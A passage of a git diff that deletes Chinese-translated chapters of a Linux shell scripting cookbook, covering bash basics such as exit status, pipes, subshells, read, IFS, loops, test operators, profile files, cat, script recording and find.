-通过在`/etc/security/limits.conf`中定义`nproc`值来限制可以产生的最大进程数,从而防止这种攻击。 - -该行将所有用户限制为 100 个进程: - -`hard nproc 100` - -**导出函数** -函数可以使用`export`命令导出,就像环境变量一样。导出将函数的范围扩展到子过程: - -```sh -export -f fname $> function getIP() { /sbin/ifconfig $1 | grep 'inet '; } $> echo "getIP eth0" >test.sh $> sh test.sh - sh: getIP: No such file or directory $> export -f getIP $> sh test.sh - inet addr: 192.168.1.2 Bcast: 192.168.255.255 Mask:255.255.0.0 - -``` - -# 读取命令的返回值(状态) - -命令的返回值存储在`$?`变量中。 - -```sh -cmd; echo $?; - -``` - -返回值称为**退出状态**。该值可用于确定命令是否成功完成。如果命令成功退出,退出状态将为零,否则为非零值。 - -以下脚本报告命令的成功/失败状态: - -```sh -#!/bin/bash -#Filename: success_test.sh -# Evaluate the arguments on the command line - ie success_test.sh 'ls | grep txt' -eval $@ -if [ $? -eq 0 ]; -then - echo "$CMD executed successfully" -else - echo "$CMD terminated unsuccessfully" -fi - -``` - -# 将参数传递给命令 - -大多数应用接受不同格式的参数。假设`-p`和`-v`是可用的选项,`-k N`是另一个带数字的选项。此外,该命令需要文件名作为参数。该应用可以多种方式执行: - -* `$ command -p -v -k 1 file` -* `$ command -pv -k 1 file` -* `$ command -vpk 1 file` -* `$ command file -pvk 1` - -在脚本中,可以通过命令行参数在命令行中的位置来访问它们。第一个参数是`$1`,第二个参数是`$2`,依此类推。 -该脚本将显示前三个命令行参数: - -```sh -echo $1 $2 $3 - -``` - -更常见的是一次遍历一个命令参数。`shift`命令将每个参数向左移动一个空格,让脚本以`$1`的形式访问每个参数。以下代码显示所有命令行值: - -```sh -$ cat showArgs.sh -for i in `seq 1 $#` -do -echo $i is $1 -shift -done -$ sh showArgs.sh a b c -1 is a -2 is b -3 is c - -``` - -# 从一个命令向另一个命令发送输出 - -Unix shells 的最佳特性之一是可以轻松地组合许多命令来生成报告。一个命令的输出可以显示为另一个命令的输入,后者将其输出传递给另一个命令,依此类推。这个序列的输出可以分配给一个变量。这个配方说明了如何组合多个命令以及如何读取输出。 - -# 准备好 - -输入通常通过`stdin`或参数输入到命令中。输出发送到`stdout`或`stderr`。当我们组合多个命令时,我们通常通过`stdin`提供输入,并向`stdout`生成输出。 - -在这种情况下,命令被称为**过滤器**。我们使用管道连接每个过滤器,由管道操作员(`|`)进行聚合,如下所示: - -```sh -$ cmd1 | cmd2 | cmd3 - -``` - -这里,我们结合了三个命令。`cmd1`输出到`cmd2`,`cmd2`输出到`cmd3`,最终输出(从`cmd3`出来)会显示在监控器上,或者定向到一个文件。 - -# 怎么做... - -管道可以与 subshell 方法一起使用,用于组合多个命令的输出。 - -1. 让我们从组合两个命令开始: - -```sh - $ ls | cat -n > out.txt - -``` - -`ls`的输出(当前目录的列表)被传递给`cat -n`,而`cat -n`又在通过`stdin`接收的输入前面加上行号。输出被重定向到`out.txt`。 - -2. 将命令序列的输出分配给变量: - -```sh - cmd_output=$(COMMANDS) - -``` - -这叫做**子壳法**。考虑这个例子: - -```sh - cmd_output=$(ls | cat -n) echo $cmd_output - -``` - -另一种方法叫做**回引号**(有人也称之为**回勾**)也可以用来存储命令输出: - -```sh - cmd_output=`COMMANDS` - -``` - -考虑这个例子: - -```sh - cmd_output=`ls | cat -n` - echo $cmd_output - -``` - -反引号不同于单引号字符。是键盘上 *~* 按钮上的字符。 - -# 还有更多... - -命令分组有多种方式。 - -# 用子壳产生一个单独的过程 - -子 Shell 是独立的进程。使用`( )`运算符定义子壳: - -* `pwd`命令打印工作目录的路径 -* `cd`命令将当前目录更改为给定的目录路径: - -```sh - $> pwd - / - $> (cd /bin; ls) - awk bash cat... - $> pwd - / - -``` - -在子 shell 中执行命令时,当前 shell 中不会发生任何更改;更改仅限于子 Shell。例如,当使用`cd`命令更改子 Shell 中的当前目录时,目录更改不会反映在主 Shell 环境中。 - -# 子壳引用以保留间距和换行符 - -假设我们使用 subshell 或 back quotes 方法将命令的输出分配给一个变量,我们必须使用双引号来保留间距和换行符(`\n`)。考虑这个例子: - -```sh -$ cat text.txt 1 2 3 $ out=$(cat text.txt) $ echo $out 1 2 3 # Lost \n spacing in 1,2,3 $ out="$(cat text.txt)" $ echo $out 1 2 3 - -``` - -# 不按回车键读取 n 个字符 - -bash 命令`read`从键盘或标准输入输入文本。我们可以使用`read`交互获取用户输入,但是`read`的功能更多。任何编程语言中的大多数输入库都从键盘读取输入,并在按下 return 键时终止字符串。在某些情况下,无法按下 return 键,字符串终止是根据接收到的字符数(可能是单个字符)来完成的。例如,在互动游戏中,当按下 *+* 时,球向上移动。按下 *+* 再按下*返回*确认 *+* 按压无效。 - -该配方使用`read`命令完成该任务,无需按*返回*。 - -# 怎么做... - -您可以使用`read`命令的各种选项获得不同的结果,如下步骤所示: - -1. 以下语句将从输入到`variable_name`变量中读取 *n* 字符: - -```sh - read -n number_of_chars variable_name - -``` - -考虑这个例子: - -```sh - $ read -n 2 var $ echo $var - -``` - -2. 在非回声模式下读取密码: - -```sh - read -s var - -``` - -3. 使用以下命令显示带有`read`的信息: - -```sh - read -p "Enter input:" var - -``` - -4. 超时后读取输入: - -```sh - read -t timeout var - -``` - -考虑以下示例: - -```sh - $ read -t 2 var # Read the string that is typed within 2 seconds into - variable var. - -``` - -5. 使用分隔符结束输入行: - -```sh - read -d delim_char var - -``` - -考虑这个例子: - -```sh - $ read -d ":" var hello:#var is set to hello - -``` - -# 运行命令直到成功 - -有时一个命令只有在满足某些条件时才能成功。例如,您只能在文件创建后下载文件。在这种情况下,您可能希望重复运行一个命令,直到它成功为止。 - -# 怎么做... - -按照以下方式定义函数: - -```sh -repeat() -{ - while true - do - $@ && return - done -} - -``` - -或者,为了方便使用,将此添加到 shell 的`rc`文件中: - -```sh -repeat() { while true; do $@ && return; done } - -``` - -# 它是如何工作的... - -这个重复函数有一个无限的`while`循环,它试图运行作为参数(由`$@`访问)传递给函数的命令。如果命令成功,它将返回,从而退出循环。 - -# 还有更多... - -我们看到了运行命令直到它们成功的基本方法。让我们让事情变得更有效率。 - -# 更快的方法 - -在大多数现代系统中,true 在`/bin`中以二进制形式实现。这意味着每次前面提到的`while`循环运行时,Shell 必须产生一个进程。为了避免这种情况,我们可以使用 shell 内置的`:`命令,它总是返回一个退出代码 0: - -```sh -repeat() { while :; do $@ && return; done } - -``` - -尽管不太可读,但这比第一种方法更快。 - -# 增加延迟 - -假设您正在使用`repeat()`从互联网上下载一个文件,该文件现在不可用,但将在一段时间后可用。一个例子如下: - -```sh -repeat wget -c http://www.example.com/software-0.1.tar.gz - -``` - -这个脚本会在`www.example.com`向 web 服务器发送过多的流量,这会给服务器带来问题(如果服务器将你的 IP 列入攻击者黑名单,可能还会给你带来问题)。为了解决这个问题,我们修改函数并添加延迟,如下所示: - -```sh -repeat() { while :; do $@ && return; sleep 30; done } - -``` - -这将导致命令每 30 秒运行一次。 - -# 字段分隔符和迭代器 - -**内部字段分隔符** ( **IFS** )是 shell 脚本中的一个重要概念。它对于处理文本数据很有用。 - -IFS 是一种特殊用途的分隔符。它是一个存储定界字符的环境变量。它是运行 shell 环境使用的默认分隔符字符串。 - -考虑我们需要遍历字符串中的单词或**逗号分隔值** ( **CSV** )的情况。在第一种情况下,我们将使用`IFS=" "`,在第二种情况下,将使用`IFS=","`。 - -# 准备好 - -考虑 CSV 数据的情况: - -```sh -data="name,gender,rollno,location" -To read each of the item in a variable, we can use IFS. -oldIFS=$IFS -IFS=, # IFS is now a , -for item in $data; -do - echo Item: $item -done - -IFS=$oldIFS - -``` - -这将生成以下输出: - -```sh -Item: name Item: gender Item: rollno Item: location - -``` - -IFS 的默认值是空格(换行符、制表符或空格字符)。 - -当 IFS 设置为`,`时,shell 将逗号解释为一个分隔符,因此`$item`变量在迭代过程中将逗号分隔的子字符串作为它的值。 - -如果 IFS 没有设置为`,`,那么它会将整个数据打印为单个字符串。 - -# 怎么做... - -让我们通过 IFS 的另一个示例用法来解析`/etc/passwd`文件。在`/etc/passwd`文件中,每行包含由`:`分隔的项目。文件中的每一行都对应于与用户相关的属性。 - -考虑输入:`root:x:0:0:root:/root:/bin/bash`。每行的最后一个条目为用户指定了默认 Shell。 - -使用 IFS hack 打印用户及其默认 Shell: - -```sh -#!/bin/bash -#Desc: Illustration of IFS -line="root:x:0:0:root:/root:/bin/bash" -oldIFS=$IFS; -IFS=":" -count=0 -for item in $line; -do - - [ $count -eq 0 ] && user=$item; - [ $count -eq 6 ] && shell=$item; - let count++ -done; -IFS=$oldIFS -echo $user's shell is $shell; - -``` - -输出如下: - -```sh -root's shell is /bin/bash - -``` - -循环在迭代一系列值时非常有用。Bash 提供了许多类型的循环。 - -* **面向列表的`for`循环**: - -```sh - for var in list; - do - commands; # use $var - done - -``` - -列表可以是字符串或值序列。 - -我们可以使用`echo`命令生成序列: - -```sh -echo {1..50} ;# Generate a list of numbers from 1 to 50. -echo {a..z} {A..Z} ;# List of lower and upper case letters. - -``` - -我们可以结合这些来连接数据。 -在下面的代码中,在每次迭代中,变量 I 将保存 a 到 z 范围内的一个字符: - -```sh - for i in {a..z}; do actions; done; - -``` - -* **迭代一系列数字**: - -```sh - for((i=0;i<10;i++)) - { - commands; # Use $i - } - -``` - -* **循环直到满足条件**: - -当条件为真时,while 循环继续,直到条件为真时,才会运行: - -```sh - while condition - do - commands; - done - -``` - -对于无限循环,使用`true`作为条件: - -* **使用`until`循环**: - -Bash 提供了一个名为`until`的特殊循环。这将执行循环,直到给定条件变为真。考虑这个例子: - -```sh - x=0; - until [ $x -eq 9 ]; # [ $x -eq 9 ] is the condition - do - let x++; echo $x; - done - -``` - -# 比较和测试 - -程序中的流控制是通过比较和测试语句来处理的。Bash 提供了几个选项来执行测试。我们可以使用`if`、`if else`,以及逻辑运算符来执行测试,使用比较运算符来比较数据项。还有一个名为`test`的命令,执行测试。 - -# 怎么做... - -以下是一些用于比较和执行测试的方法: - -* 使用`if`条件: - -```sh - if condition; - then - commands; - fi - -``` - -* 使用`else if`和`else`: - -```sh - if condition; - then - commands; - else if condition; then - commands; - else - commands; - fi - -``` - -if 和 else 可以嵌套。if 条件可能很长;为了使它们更短,我们可以使用逻辑运算符: - -`[ condition ] && action;` #如果条件为真,则执行动作 - -`[ condition ] || action;` #如果条件为假,则执行动作 - -`&&`为逻辑“与”运算,`||`为逻辑“或”运算。这是编写 Bash 脚本时非常有用的技巧。 -进行数学比较:通常情况下,条件用方括号括起来`[]`。请注意,`[`或`]`与操作数之间有一个空格。如果没有提供空间,它将显示一个错误。 - -```sh -[$var -eq 0 ] or [ $var -eq 0] - -``` - -对变量和值进行数学测试,如下所示: - -```sh -[ $var -eq 0 ] # It returns true when $var equal to 0\. -[ $var -ne 0 ] # It returns true when $var is not equal to 0 - -``` - -其他重要操作员包括: - -* `-gt`:大于 -* `-lt`:小于 -* `-ge`:大于等于 -* `-le`:小于等于 - -`-a`运算符是逻辑“与”,而`-o`运算符是逻辑“或”。可以组合多种测试条件: - -```sh -[ $var1 -ne 0 -a $var2 -gt 2 ] # using and -a -[ $var1 -ne 0 -o var2 -gt 2 ] # OR -o - -``` - -与文件系统相关的测试如下: - -使用不同的条件标志测试不同的文件系统相关属性 - -* `[ -f $file_var ]`:如果给定的变量有一个常规的文件路径或文件名,这将返回真 -* `[ -x $var ]`:如果给定的变量包含可执行的文件路径或文件名,则返回真 -* `[ -d $var ]`:如果给定变量包含目录路径或目录名,则返回 true -* `[ -e $var ]`:如果给定的变量保存了一个现有的文件,则返回 true -* `[ -c $var ]`:如果给定变量保存字符设备文件的路径,则返回 true -* `[ -b $var ]`:如果给定变量保存块设备文件的路径,则返回真 -* `[ -w $var ]`:如果给定变量保存了可写文件的路径,则返回 true -* `[ -r $var ]`:如果给定变量包含可读文件的路径,则返回 true -* `[ -L $var ]`:如果给定变量包含符号链接 - 的路径,则返回真 - -考虑这个例子: - -```sh -fpath="/etc/passwd" -if [ -e $fpath ]; then - echo File exists; -else - echo Does not exist; -fi - -``` - -字符串比较:使用字符串比较时,最好使用双方括号,因为使用单方括号有时会导致错误 - -Note that the double square bracket is a Bash extension. If the script will be run using ash or dash (for better performance), you cannot use the double square. - -**测试两根弦是否相同**: - -* `[[ $str1 = $str2 ]]`:当`str1`等于`str2`时,即`str1`和`str2`的文字内容相同时,返回真 -* `[[ $str1 == $str2 ]]`:是字符串 - 相等校验的替代方法 - -**测试两个字符串是否不相同**: - -* `[[ $str1 != $str2 ]]`:当`str1`和`str2`不匹配时,返回真 - -Find alphabetically larger string: -Strings are compared alphabetically by comparing the ASCII value of the characters. For example, "A" is 0x41 and "a" is 0x61\. Thus "A" is less than "a", and "AAa" is less than "Aaa". - -* `[[ $str1 > $str2 ]]`:当`str1`在字母顺序上大于`str2`时,这返回真 -* `[[ $str1 < $str2 ]]`:当`str1`的字母顺序小于`str2`时,这种情况返回真 - -A space is required after and before `=`; if it is not provided, it is not a comparison, but it becomes an assignment statement. - -**测试空串**: - -* `[[ -z $str1 ]]`:如果`str1`持有空字符串,则返回真 -* `[[ -n $str1 ]]`:如果`str1`持有非空字符串,则返回真 - -使用逻辑运算符`&&`、`||`组合多个条件更容易,如下代码所示: - -```sh -if [[ -n $str1 ]] && [[ -z $str2 ]] ; - then - commands; - fi - -``` - -考虑这个例子: - -```sh -str1="Not empty " -str2="" -if [[ -n $str1 ]] && [[ -z $str2 ]]; -then - echo str1 is nonempty and str2 is empty string. -fi - -``` - -这将是输出: - -```sh -str1 is nonempty and str2 is empty string. - -``` - -测试命令可用于执行条件检查。这减少了使用的大括号的数量,并且可以使您的代码更易读。`[]`中包含的相同测试条件可用于测试命令。 - -Note that test is an external program which must be forked, while [ is an internal function in Bash and thus more efficient. The test program is compatible with Bourne shell, ash, dash, and others. - -考虑这个例子: - -```sh -if [ $var -eq 0 ]; then echo "True"; fi -can be written as -if test $var -eq 0 ; then echo "True"; fi - -``` - -# 使用配置文件定制 bash - -您在命令行上键入的大多数命令都可以放在一个特殊的文件中,以便在您登录或启动新的 bash 会话时进行评估。通过将函数定义、别名和环境变量设置放在这些文件中的一个来定制 shell 是很常见的。 - -放入配置文件的常见命令包括: - -```sh -# Define my colors for ls -LS_COLORS='no=00:di=01;46:ln=00;36:pi=40;33:so=00;35:bd=40;33;01' -export LS_COLORS -# My primary prompt -PS1='Hello $USER'; export PS1 -# Applications I install outside the normal distro paths -PATH=$PATH:/opt/MySpecialApplication/bin; export PATH -# Shorthand for commands I use frequently -function lc () {/bin/ls -C $* ; } - -``` - -**应该用什么定制文件?** - -Linux 和 Unix 有几个文件可以保存定制脚本。这些配置文件分为三个阵营:登录时获取的文件、调用交互式 shell 时评估的文件以及调用 shell 处理脚本文件时评估的文件。 - -# 怎么做... - -当用户登录到 shell 时,将对这些文件进行评估: - -```sh -/etc/profile, $HOME/.profile, $HOME/.bash_login, $HOME/.bash_profile / - -``` - -Note that `/etc/profile`, `$HOME/.profile` and `$HOME/.bash_profile` may not be sourced if you log in via a graphical login manager. That's because the graphical window manager doesn't start a shell. When you open a terminal window, a shell is created, but it's not a login shell. - -如果存在`.bash_profile`或`.bash_login`文件,则不会读取`.profile`文件。 - -这些文件将由交互 Shell 读取,如 X11 终端会话或使用`ssh`运行单个命令,如:`ssh 192.168.1.1 ls /tmp`。 - -```sh -/etc/bash.bashrc $HOME/.bashrc - -``` - -运行如下 shell 脚本: - -```sh -$> cat myscript.sh -#!/bin/bash -echo "Running" - -``` - -除非您已经定义了`BASH_ENV`环境变量,否则这些文件都不会被获取: - -```sh -$> export BASH_ENV=~/.bashrc -$> ./myscript.sh - -``` - -使用`ssh`运行单个命令,如下所示: - -```sh -ssh 192.168.1.100 ls /tmp - -``` - -这将启动一个 bash shell,它将评估`/etc/bash.bashrc`和`$HOME/.bashrc`,但不会评估`/etc/profile`或`.profile`。 - -调用 ssh 登录会话,如下所示: - -```sh -ssh 192.168.1.100 - -``` - -这将创建一个新的登录 bash shell,它将评估以下内容: - -```sh -/etc/profile -/etc/bash.bashrc -$HOME/.profile or .bashrc_profile - -``` - -DANGER: Other shells, such as the traditional Bourne shell, ash, dash, and ksh, also read this file. Linear arrays (lists) and associative arrays, are not supported in all shells. Avoid using these in `/etc/profile` or `$HOME/.profile`. - -使用这些文件定义非导出项目,如所有用户所需的别名。考虑这个例子: - -```sh -alias l "ls -l" -/etc/bash.bashrc /etc/bashrc - -``` - -使用这些文件保存个人设置。它们对于设置必须由其他 bash 实例继承的路径非常有用。它们可能包括这样的行: - -```sh -CLASSPATH=$CLASSPATH:$HOME/MyJavaProject; export CLASSPATH -$HOME/.bash_login $HOME/.bash_profile $HOME/.profile - -``` - -If `.bash_login` or `.bash_profile` are present, `.profile` will not be read. A `.profile` file may be read by other shells. - -使用这些文件保存您的个人值,这些值需要在创建新 shell 时定义。如果您希望别名和函数在 X11 终端会话中可用,请在此定义它们: - -```sh -$HOME/.bashrc, /etc/bash.bashrc - -``` - -Exported variables and functions are propagated to subordinate shells, but aliases are not. You must define `BASH_ENV` to be the `.bashrc` or `.profile`, where aliases are defined in order to use them in a shell script. - -当用户退出会话时,将评估该文件: - -```sh -$HOME/.bash_logout - -``` - -例如,如果用户远程登录,他们应该在注销时清除屏幕。 - -```sh -$> cat ~/.bash_logout -# Clear the screen after a remote login/logout. -clear - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/02.md b/docs/linux-shell-script-cb/02.md deleted file mode 100644 index 216738cd..00000000 --- a/docs/linux-shell-script-cb/02.md +++ /dev/null @@ -1,2402 +0,0 @@ -# 二、编写良好的命令 - -在本章中,我们将介绍以下食谱: - -* 与`cat`相连 -* 录制和播放终端会话 -* 查找文件和文件列表 -* 玩`xargs` -* 用`tr`翻译 -* 校验和和验证 -* 加密工具和哈希 -* 对唯一行和重复行进行排序 -* 临时文件命名和随机数 -* 拆分文件和数据 -* 基于扩展名分割文件名 -* 批量重命名和移动文件 -* 拼写检查和词典操作 -* 自动交互输入 -* 通过运行并行进程使命令更快 -* 检查目录、其中的文件和子目录 - -# 介绍 - -类似 Unix 的系统拥有最好的命令行工具。每个命令都执行一个简单的功能,使我们的工作更容易。这些简单的功能可以与其他命令相结合来解决复杂的问题。组合简单的命令是一门艺术;随着你练习和获得经验,你会在这方面做得更好。本章介绍一些最有趣、最有用的命令,包括`grep`、`awk`、`sed`和`find`。 - -# 与猫连接 - -`cat`命令显示或连接文件的内容,但`cat`功能更多。例如,`cat`可以将标准输入数据与文件中的数据相结合。将`stdin`数据与文件数据相结合的一种方法是将`stdin`重定向到一个文件,然后追加两个文件。`cat`命令可以在一次调用中做到这一点。接下来的食谱展示了`cat`的基本用法和高级用法。 - -# 怎么做... - -`cat`命令是一个简单而常用的命令,它代表**连接**。 - -`cat`读取内容的一般语法如下: - -```sh -$ cat file1 file2 file3 ... - -``` - -该命令将指定为命令行参数的文件中的数据连接起来,并将该数据发送到`stdout`。 - -* 要打印单个文件的内容,请执行以下命令: - -```sh - $ cat file.txt - This is a line inside file.txt - This is the second line inside file.txt - -``` - -* 要打印多个文件的内容,请执行以下命令: - -```sh - $ cat one.txt two.txt - This line is from one.txt - This line is from two.txt - -``` - -`cat`命令不仅读取文件和连接数据,还读取标准输入。 - -管道操作员将数据重定向到 cat 命令的标准输入,如下所示: - -```sh -OUTPUT_FROM_SOME COMMANDS | cat - -``` - -`cat`命令还可以将文件内容与终端输入连接起来。 - -将`stdin`和另一个文件中的数据合并,如下所示: - -```sh -$ echo 'Text through stdin' | cat - file.txt - -``` - -在本例中,`-`充当`stdin`文本的文件名。 - -# 还有更多... - -`cat`命令还有许多其他查看文件的选项。您可以通过在终端会话中键入`man cat`来查看完整列表。 - -# 去掉多余的空行 - -有些文本文件包含两行或多行空行。如果需要删除多余的空行,请使用以下语法: - -```sh -$ cat -s file - -``` - -考虑以下示例: - -```sh -$ cat multi_blanks.txt -line 1 - -line 2 - -line 3 - -line 4 - -$ cat -s multi_blanks.txt # Squeeze adjacent blank lines -line 1 - -line 2 - -line 3 - -line 4 - -``` - -我们可以用`tr`删除所有空白行,正如本章中*用*配方翻译所讨论的。 - -# 将选项卡显示为^I - -很难区分制表符和重复的空格字符。Python 等语言对制表符和空格的处理可能会有所不同。制表符和空格的混合在编辑器中可能看起来相似,但在解释器中显示为不同的缩进。在文本编辑器中查看文件时,很难识别制表符和空格之间的区别。`cat`也可以识别标签页。这有助于您调试缩进错误。 - -`cat`命令的`-T`选项将制表符显示为`^I`: - -```sh -$ cat file.py -def function(): - var = 5 - next = 6 - third = 7 - -$ cat -T file.py -def function(): -^Ivar = 5 -^I^Inext = 6 -^Ithird = 7^I - -``` - -# 行号 - -cat 命令的`-n`标志为每一行加上一个行号的前缀。考虑以下示例: - -```sh -$ cat lines.txt -line -line -line - -$ cat -n lines.txt - 1 line - 2 line - 3 line - -``` - -The `cat` command never changes a file. It sends output to `stdout` after modifying the input according to the options. Do not attempt to use redirection to overwrite your input file. The shell creates the new output file before it opens the input file. The `cat` command will not let you use the same file as input and redirected output. Trying to trick `cat` with a pipe and redirecting the output will empty the input file. - -```sh -$> echo "This will vanish" > myfile -$> cat -n myfile >myfile -cat: myfile: input file is output file -$> cat myfile | cat -n >myfile -$> ls -l myfile --rw-rw-rw-. 1 user user 0 Aug 24 00:14 myfile ;# myfile has 0 -bytes - -``` - -The `-n` option generates line numbers for all lines, including blank lines. If you want to skip numbering blank lines, use the `-b` option. - -# 录制和播放终端会话 - -将屏幕会话录制为视频很有用,但是视频对于调试终端会话或提供 shell 教程来说是一种过度的手段。 - -Shell 提供了另一种选择。`script`命令记录您的击键和击键的时间,并将您的输入和结果输出保存在一对文件中。`scriptreplay`命令将重放会话。 - -# 准备好 - -大多数 GNU/Linux 发行版中都有`script`和`scriptreplay`命令。您可以通过记录终端会话来创建命令行技巧教程。您还可以共享录制的文件供他人回放,并查看如何使用命令行执行特定任务。您甚至可以调用其他解释器并记录发送给该解释器的击键。您不能录制 vi、emacs 或其他将字符映射到屏幕上特定位置的应用。 - -# 怎么做... - -使用以下命令开始记录终端会话: - -```sh -$ script -t 2> timing.log -a output.session - -``` - -完整的示例如下所示: - -```sh -$ script -t 2> timing.log -a output.session - -# This is a demonstration of tclsh -$ tclsh -% puts [expr 2 + 2] -4 -% exit -$ exit - -``` - -Note that this recipe will not work with shells that do not support redirecting only `stderr` to a file, such as the `csh` shell. - -`script`命令接受文件名作为参数。这个文件将保存击键和命令结果。当您使用`-t`选项时,脚本命令将定时数据发送到`stdout`。计时数据可以被重定向到一个文件(`timing.log`),该文件记录每次按键和输出的计时信息。前面的例子使用了`2>`将`stderr`重定向到`timing.log`。 - -使用两个文件`timing.log`和`output.session`,我们可以重放命令执行的顺序如下: - -```sh -$ scriptreplay timing.log output.session -# Plays the sequence of commands and output - -``` - -# 它是如何工作的... - -我们经常录制桌面视频来准备教程。然而,视频需要相当大的存储量,而终端脚本文件只是一个文本文件,通常只有千字节的数量级。 - -您可以将`timing.log`和`output.session`文件共享给任何想要在终端中重放终端会话的人。 - -# 查找文件和文件列表 - -`find`命令是 Unix/Linux 命令行工具箱中最棒的实用程序之一。它在命令行和 shell 脚本中都很有用。像`cat`和`ls`一样,`find`有很多功能,大部分人都没有发挥到极致。本食谱介绍了一些利用`find`定位文件的常用方法。 - -# 准备好了 - -`find`命令使用以下策略:`find`在文件的层次结构中下降,匹配满足指定标准的文件,并执行一些操作。默认操作是打印文件和文件夹的名称,可以用`-print`选项指定。 - -# 怎么做... - -要列出从给定目录降序排列的所有文件和文件夹,请使用以下语法: - -```sh -$ find base_path - -``` - -`base_path`可以是`find`开始下降的任何位置(例如`/home/slynux/`)。 - -下面是这个命令的一个例子: - -```sh -$ find . -print -.history -Downloads -Downloads/tcl.fossil -Downloads/chapter2.doc -… - -``` - -`.`指定当前目录,`..`指定父目录。整个 Unix 文件系统都遵循这个惯例。 - -打印选项用`\n`(换行符)分隔每个文件或文件夹名称。`-print0`选项用空字符`'\0'`分隔每个名称。`-print0`的主要用途是将包含换行符或空白字符的文件名传递给`xargs`命令。`xargs`命令将在后面详细讨论: - -```sh -$> echo "test" > "file name" -$> find . -type f -print | xargs ls -l -ls: cannot access ./file: No such file or directory -ls: cannot access name: No such file or directory -$> find . -type f -print0 | xargs -0 ls -l --rw-rw-rw-. 1 user group 5 Aug 24 15:00 ./file name - -``` - -# 还有更多... - -前面的例子演示了使用`find`列出文件系统层次结构中的所有文件和文件夹。`find`命令可以根据全局或正则表达式规则、文件系统树的深度、日期、文件类型等选择文件。 - -# 基于名称或正则表达式匹配进行搜索 - -`-name`参数指定名称的选择模式。`-name`参数接受 glob 风格的通配符和正则表达式。在以下示例中,`'*.txt'`匹配所有以`.txt`结尾的文件或文件夹名称并打印它们。 - -Note the single quotes around `*.txt`. The shell will expand glob wildcards with no quotes or using double-quotes (`"`). The single quotes prevent the shell from expanding the `*.txt` and passes that string to the `find` command. - -```sh -$ find /home/slynux -name '*.txt' -print - -``` - -`find`命令有一个选项`-iname`(忽略大小写),类似于`-name`,但是它匹配文件名而不管大小写。 - -考虑以下示例: - -```sh -$ ls -example.txt EXAMPLE.txt file.txt -$ find . -iname "example*" -print -./example.txt -./EXAMPLE.txt - -``` - -`find`命令支持带有选择选项的逻辑操作。`-a`和`-and`选项执行逻辑**和**,而`-o`和`-or`选项执行逻辑**或**。 - -```sh -$ ls -new.txt some.jpg text.pdf stuff.png -$ find . \( -name '*.txt' -o -name '*.pdf' \) -print -./text.pdf -./new.txt - -``` - -之前的命令将打印所有的`.txt`和`.pdf`文件,因为`find`命令同时匹配`.txt`和`.pdf`文件。`\(`和`\)`用于将`-name "*.txt" -o -name "*.pdf"`作为一个单元来处理。 - -下面的命令演示了如何使用`-and`操作符只选择以`s`开头并且名称中有`e`的文件。 - -```sh -$ find . \( -name '*e*' -and -name 's*' \) -./some.jpg - -``` - -`-path`参数将匹配限制为匹配路径和名称的文件。比如`$ find /home/users -path '*/slynux/*' -name '*.txt' -print`会找`/home/users/slynux/readme.txt`,但不会找`/home/users/slynux.txt`。 - -The `-regex` argument is similar to `-path`, but `-regex` matches the file paths based on regular expressions. - -正则表达式比 glob 通配符更复杂,并且支持更精确的模式匹配。文本与正则表达式匹配的一个典型例子是识别所有电子邮件地址。电子邮件地址采用`name@host.root`形式。可以概括为`[a-z0-9]+@[a-z0-9]+\.[a-z0-9]+`。方括号内的字符代表一组字符。在这种情况下,`a-z`和`0-9``+`符号表示前一类字符可以出现一次或多次。句点是一个单字符通配符(就像 glob 通配符中的`?`),因此必须使用反斜杠对其进行转义,以匹配电子邮件地址中的实际点。所以,这个正则表达式翻译成‘一个字母或数字序列,后跟一个`@`,后跟一个字母或数字序列,后跟一个句点,最后是一个字母或数字序列’。详见[第四章](04.html)、*发短信和开车*中的*使用正则表达式*配方。 - -该命令匹配`.py`或`.sh`文件: - -```sh -$ ls -new.PY next.jpg test.py script.sh $ find . -regex '.*\.(py\|sh\)$' -./test.py -script.sh - -``` - -`-iregex`选项忽略正则表达式匹配的大小写。 - -考虑这个例子: - -```sh -$ find . -iregex '.*\(\.py\|\.sh\)$' -./test.py -./new.PY -./script.sh - -``` - -# 否定论点 - -`find`命令也可以使用`!`排除符合模式的事物: - -```sh -$ find . ! -name "*.txt" -print - -``` - -这将匹配所有名称不以`.txt`结尾的文件。以下示例显示了该命令的结果: - -```sh -$ ls -list.txt new.PY new.txt next.jpg test.py - -$ find . ! -name "*.txt" -print -. -./next.jpg -./test.py -./new.PY - -``` - -# 基于目录深度进行搜索 - -`find`命令遍历所有子目录,直到到达每个子目录树的底部。默认情况下,`find`命令不会跟随符号链接。`-L`选项将迫使它遵循符号链接。如果某个链接引用了指向原始链接的链接,`find`将陷入循环。 - -`-maxdepth`和`-mindepth`参数限制了`find`命令将穿越的距离。这将使`find`命令从原本无限的搜索中中断。 - -`/proc`文件系统包含关于您的系统和正在运行的任务的信息。任务的文件夹层次结构相当深,并且包括可以循环的符号链接。运行系统的每个进程在`proc`中都有一个条目,以进程标识命名。每个进程标识下都有一个名为`cwd`的文件夹,它是该任务当前工作目录的链接。 - -下面的例子展示了如何列出在一个名为`bundlemaker.def`的文件夹中运行的所有任务: - -```sh -$ find -L /proc -maxdepth 3 -name 'bundlemaker.def' 2>/dev/null - -``` - -* `-L`选项告诉`find`命令跟随符号链接 -* `/proc`是开始搜索的文件夹 -* `-maxdepth 3`选项将搜索限制在当前文件夹,而不是子文件夹 -* `-name 'bundlemaker.def'`选项是要搜索的文件 -* `2>/dev/null`将关于递归循环的错误消息重定向到空设备 - -`-mindepth`选项类似于`-maxdepth`,但它设置了`find`报告匹配的最小深度。它可用于查找和打印距离基本路径最小深度的文件。例如,要打印名称以`f`开头且距离当前目录至少两个子目录的所有文件,请使用以下命令: - -```sh -$ find . -mindepth 2 -name "f*" -print -./dir1/dir2/file1 -./dir3/dir4/f2 - -``` - -当前目录下或`dir1`和`dir3`中以`f`开头的文件将不会被打印。 - -The `-maxdepth` and `-mindepth` option should be early in the `find` command. If they are specified as later arguments, it may affect the efficiency of `find` as it has to do unnecessary checks. For example, if `-maxdepth` is specified after a `-type` argument, the `find` command will first find the files having the specified `-type` and then filter out the files that don't match the proper depth. However, if the depth was specified before the `-type`, `find` will collect the files having the specified depth and then check for the file type, which is the most efficient way to search. - -# 基于文件类型搜索 - -类似 Unix 的操作系统将每个对象都视为一个文件。有不同种类的文件,如常规文件、目录、字符设备、块设备、符号链接、硬链接、套接字、先进先出等等。 - -`find`命令使用`-type`选项过滤文件搜索。使用`-type`,我们可以告诉`find`命令只匹配指定类型的文件。 - -仅列出包括后代的目录: - -```sh -$ find . -type d -print - -``` - -很难分别列出目录和文件。但是`find`有助于做到。仅列出常规文件如下: - -```sh -$ find . 